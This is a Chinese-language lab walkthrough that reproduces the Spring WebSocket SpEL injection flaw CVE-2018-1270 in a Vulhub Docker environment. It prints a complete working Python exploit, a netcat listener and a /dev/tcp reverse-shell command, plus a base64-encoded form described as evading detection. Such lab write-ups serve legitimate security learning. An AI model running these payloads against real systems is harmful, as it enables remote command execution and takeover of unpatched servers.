Spring远程命令执行漏洞复现:原理分析+环境搭建+渗透实践(CVE-2018-1270)

目录

一、Spring远程命令执行漏洞(CVE-2018-1270)

1、漏洞简介

2、漏洞原理

二、环境搭建

[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)

[2、下载 Vulhub](#2、下载 Vulhub)

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、访问环境

2、执行PoC攻击(需修改IP和端口)

3、执行PoC脚本(修改命令)

4、分析攻击脚本

四、反弹shell

1、攻击机监听

2、目标机建立连接

[① 原始命令](#① 原始命令)

[② base64编码](#② base64编码)

[③ 攻击目标机](#③ 攻击目标机)

3、反弹shell成功


本文通过vulhub靶场的Spring远程命令执行漏洞讲解漏洞原理(CVE-2018-1270)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。

一、Spring远程命令执行漏洞(CVE-2018-1270)

1、漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

内容
漏洞编号 CVE-2018-1270
漏洞类型 SpEL表达式注入导致RCE
触发条件 1. 应用使用Spring WebSocket + STOMP 2. 未升级到安全版本
利用方式 构造恶意的STOMP SUBSCRIBE帧,在destination头中注入SpEL表达式
核心问题 使用功能强大的 StandardEvaluationContext 解析用户可控的输入
修复方案 升级Spring框架版本
修复方法 使用功能受限的 SimpleEvaluationContext 替代 StandardEvaluationContext

2、漏洞原理

Spring框架在处理WebSocket消息订阅时,错误地将用户可控的"目的地"参数直接交给了一个功能强大且未加任何安全限制的表达式解析器(SpEL)去执行,导致攻击者可以通过注入恶意表达式(如 ${T(java.lang.Runtime).getRuntime().exec('calc')})来在服务器上远程执行任意命令。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

复制代码
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

复制代码
cd spring
cd CVE-2018-1270

4、启动漏洞环境

在CVE-2018-1270目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器

复制代码
docker-compose up -d

命令执行后,Docker 会完成拉取一个包含spring-messaging:5.0.4(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的Spring漏洞镜像容器已正常运行 ,通过宿主机器的8080 端口可访问容器内的Spring框架,可用于测试CVE-2018-1270漏洞的利用。

复制代码
docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
ebab59f44068   vulhub/spring-messaging:5.0.4   "java -jar /websocke..."   5 minutes ago   Up 5 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp         cve-2018-1270_spring_1
  • CONTAINER ID: ebab59f44068 这是该 Docker 容器的唯一哈希标识符的缩写,用于在命令行中精确指定和操作这个特定的容器实例(例如停止它、查看日志或进入其中)。
  • IMAGE: vulhub/spring-messaging:5.0.4 这表示当前运行的容器是从名为 vulhub/spring-messaging 且标签为 5.0.4 的 Docker 镜像创建的,该镜像特意打包了存在漏洞的 Spring Framework 5.0.4 版本用于安全测试。
  • COMMAND: "java -jar /websocke..." 这显示了容器启动时执行的初始命令,是一个被截断的指令,其完整内容通常是 java -jar /websocket-app.jar,意为在容器内部使用 Java 运行时运行一个构建好的 Jar 包应用程序。
  • CREATED: 5 minutes ago 这表示该容器是在 5 分钟之前从镜像创建并启动的,提供了容器当前的运行时长状态。
  • STATUS: Up 5 minutes 这表示该容器的状态为"正在运行",并且已经持续运行了 5 分钟,确认了服务从启动后一直处于活动状态。
  • PORTS: 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp 这显示了容器的网络端口映射配置,表示将容器内部的 TCP 8080 端口映射到了宿主机的所有 IPv4 和 IPv6 地址的 8080 端口上,从而允许外部通过宿主机的 8080 端口访问容器内应用。
  • NAMES: cve-2018-1270_spring_1 这是分配给此容器的唯一名称,由 Docker Compose 自动生成,通常基于项目目录名(cve-2018-1270)和服务名(spring),用于更方便地识别和管理容器。

三、渗透实战

1、访问环境

Docker启动完成后,访问http://192.168.59.128:8080/如下所示可知环境启动正常。

复制代码
http://192.168.59.128:8080/

2、执行PoC攻击(需修改IP和端口)

当前目录下有PoC脚本, 利用 CVE-2018-1270 (Spring WebSocket 远程代码执行漏洞) 的 Python 攻击脚本。它的核心功能是模拟一个 WebSocket 客户端,通过与存在漏洞的 Spring 应用建立连接,然后发送一个经过特殊构造的恶意消息,最终在目标服务器上执行系统命令 touch /tmp/success(创建一个名为 success的文件作为攻击成功的证明)。

修改IP地址、端口号为环境的IP和端口号,以我的机器为例将ip改为192.168.59.128,端口号改为8080,修改后保存。

复制代码
sockjs = SockJS('http://192.168.59.128:8080/gs-guide-websocket')

执行python exploit开启攻击,如下所示攻击成功。

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了success文件,命令执行成功!

3、执行PoC脚本(修改命令)

本部分修改脚本中执行的命令,默认的情况下执行的命令是在目标服务器上执行系统命令 touch /tmp/success(创建一个名为 success的文件作为攻击成功的证明)。可以通过修改命令实现不同的攻击,如果想改为创建/tmp/mooyuan文件,需要修改exec中的命令内容,修改如下:

复制代码
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')",

执行python exploit开启攻击,攻击后查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan文件,命令执行成功!

4、分析攻击脚本

接下来以修改后的Python脚本为例,进行分析,这是一个针对CVE-2018-1270漏洞的自动化攻击工具,它通过模拟WebSocket客户端与目标Spring应用建立SockJS连接,然后发送一个包含恶意SpEL表达式(T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan'))的特殊构造订阅请求,最终实现在远程服务器上执行系统命令并创建文件/tmp/mooyuan作为攻击成功的证据。

复制代码
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.59.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

此脚本通过建立 WebSocket 连接并向存在漏洞的 Spring 服务器注入恶意的 SpEL 表达式,从而实现在目标系统上远程执行命令 (touch /tmp/mooyuan)

  • 初始化与连接建立 (SockJS 类):

    • 它使用 SockJS 协议(一种 WebSocket 模拟协议)与位于 http://192.168.59.128:8080/gs-guide-websocket 的漏洞端点建立连接。

    • 通过创建一个长连接 (htmlfile 流) 来保持会话,这是 SockJS 的一种通信方式。

  • 发送恶意订阅帧 (sockjs.send('subscribe', ...)):

    • 这是漏洞利用的最关键步骤 。脚本发送了一个 SUBSCRIBE 帧。

    • 该帧的 selector 头被精心构造为恶意 SpEL 表达式:T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')

    • 在受影响版本中,Spring 服务器会错误地解析并执行 此表达式,导致以服务器权限执行 touch 命令,从而在 /tmp/ 目录下创建文件。

  • 发送触发消息 (sockjs.send('send', ...)):

    • 发送一个 SEND 帧到 /app/hello 目的地,内容是一个普通的 JSON 数据 {'name': 'vulhub'}

    • 这个消息可能用于触发 服务器处理之前那个恶意订阅的逻辑,或者只是为了模拟正常流量。在某些漏洞环境中,这一步是必要的,它会让服务器去处理订阅中的 selector,从而触发命令执行。

四、反弹shell

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

复制代码
nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l : 监听(Listen) 模式,等待别人来连接。

  • -v : 显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666 : 在 6666 端口(Port) 上进行监听。

2、目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令
复制代码
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout)标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1 : 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② base64编码

对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。

复制代码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。

复制代码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  • echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。

    • base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1

    • bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。

  • bash -c "..." : 启动一个子Shell,专门用来执行引号 "..." 内的所有内容。

  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}

    • 作用echo 输出后面那串乱码(YmFzaCA...)。

    • 这串乱码 : 其实是 bash -i >& /dev/tcp/192.168.59.128/6666 0>&1 这个命令用Base64编码后的样子。编码是为了避免特殊符号引发问题。

  • |{base64,-d}

    • 作用 : 拿到上一步的乱码,用 base64 -d 命令把它解码还原成真正的Bash命令。
  • |{bash,-i}

    • 作用 : 将解码后得到的原始反弹Shell命令,交给 bash -i(一个交互式Shell)去执行
③ 攻击目标机

将exploit中的exec内容修改如下所示,然后执行python exploit.py

复制代码
exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')

修改后如下所示,请特别注意不要打错,否则会攻击失败。

修改后保存exploit.py文件,执行攻击如下所示。

3、反弹shell成功

此时查看kali攻击机监听,已经连接成功,输入命令ip addr,返回正确结果,说明渗透成功。

相关推荐
im_AMBER13 小时前
React 01
前端·javascript·笔记·react.js·前端框架·web
Scabbards_19 小时前
github 个人静态网页搭建(一)部署
github·web
mooyuan天天2 天前
Apache换行解析 文件上传漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-15715 vulhub)
web框架漏洞·cve-2017-15715·apache解析漏洞
360智汇云2 天前
Golang Context 的巧妙应用:提高并发管理的艺术
web
kali-Myon4 天前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
亿.64 天前
羊城杯 2025
web·ctf·writeup·wp·羊城杯
被巨款砸中4 天前
前端 20 个零依赖浏览器原生 API 实战清单
前端·javascript·vue.js·web
卓码软件测评5 天前
第三方软件质量检测:RTSP协议和HLS协议哪个更好用来做视频站?
网络·网络协议·http·音视频·web
Kiri霧5 天前
在actix-web中创建一个提取器
后端·rust·web